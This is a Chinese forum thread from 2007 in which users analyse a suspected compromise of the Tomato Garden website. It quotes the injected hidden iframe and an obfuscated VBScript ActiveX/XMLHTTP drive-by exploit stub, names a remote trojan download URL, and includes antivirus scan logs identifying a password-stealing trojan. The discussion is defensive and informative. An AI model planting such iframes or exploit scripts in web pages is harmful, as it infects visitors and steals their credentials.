番茄花园被挂马?

Anti@9.cn

hxxp://xxx.tomatolei.com


如图~

应该是下面这段~

1. <iframe src=http://yn52.net/admin/akk.htm width=20 height=0 frameborder=0></iframe>

复制代码

[ 本帖最后由 Anti@9.cn 于 2007-6-14 08:37 编辑 ]

mofunzone

看了下应该不是，正常的流量统计网站

mofunzone

但是你的kav报的网站是个ani

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\xh.c'
C:\TDDOWNLOAD\
  xh.c
      [DETECTION] Contains signature of the exploits EXP/Ani.Gen
      [INFO]      The file was deleted!
Begin scan in 'C:\TDDOWNLOAD\help.exe'
C:\TDDOWNLOAD\
  help.exe
      [DETECTION] Contains signature of the dropper DR/Delphi.Gen
      [INFO]      The file was deleted!

欠妳緈諨

yashoo

咖啡网页扫描太强了

wangshengxiang

红伞也发现病毒了，高启发的

dikex

原帖由 mofunzone 于 2007-6-14 08:39 发表
看了下应该不是，正常的流量统计网站

www.tomatolei.com已经上不了了，但akk.htm绝对不是正常的流量统计：

1. <script language = JScript src=link.js></script>
   
2. <SCRIPT language=VBScript>
   
3. on error resume next
   
4. Set downf = document.createElement("object")
   
5. downf.setAttribute "classid", "clsid:BD9"&"6C556-6"&"5A3-11D"&"0-983A-00C"&"04FC2"&"9E36"
   
6. str="Microsoft.XMLHTTP"
   
7. Set O = downf.CreateObject(str,"")
   
8. if Not Err.Number = 0 then
   
9. err.clear
   
10. else
    
11. document.write("<iframe width=""0"" height=""0"" src=""06.htm""></iframe>")
    
12. end if
    
13. </SCRIPT>

复制代码

挂的是这个：http://yn52.net/admin12/help.exe

aerbeisi

The requested URL http://yn52.net/admin12/help.exe is infected with Trojan-PSW.Win32.Delf.qc virus

mofunzone

还真是，当时我也没仔细看，用的ff，所以antivir也不会有反应。。
里面挂的东西和ani的一样
Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\akk.htm'
C:\TDDOWNLOAD\
  akk.htm
      [DETECTION] Contains signature of the exploits EXP/JS.XMLHTTP.1
      [INFO]      The file was deleted!

The EQs

Scan performed at: 2007-6-14 12:29:15
Scanning Log
NOD32 version 2328 (20070613) NT
Command line: C:\Documents and Settings\EQ2\桌面\help.exe
Operating memory - is OK

Date: 14.6.2007  Time: 12:29:22
Anti-Stealth technology is enabled.
Scanned disks, folders and files: C:\Documents and Settings\EQ2\桌面\help.exe
C:\Documents and Settings\EQ2\桌面\help.exe - a variant of Win32/PSW.Delf.NHI trojan
Number of scanned files: 1
Number of threats found: 1
Number of files cleaned: 1
Time of completion: 12:29:22 Total scanning time: 0 sec (00:00:00)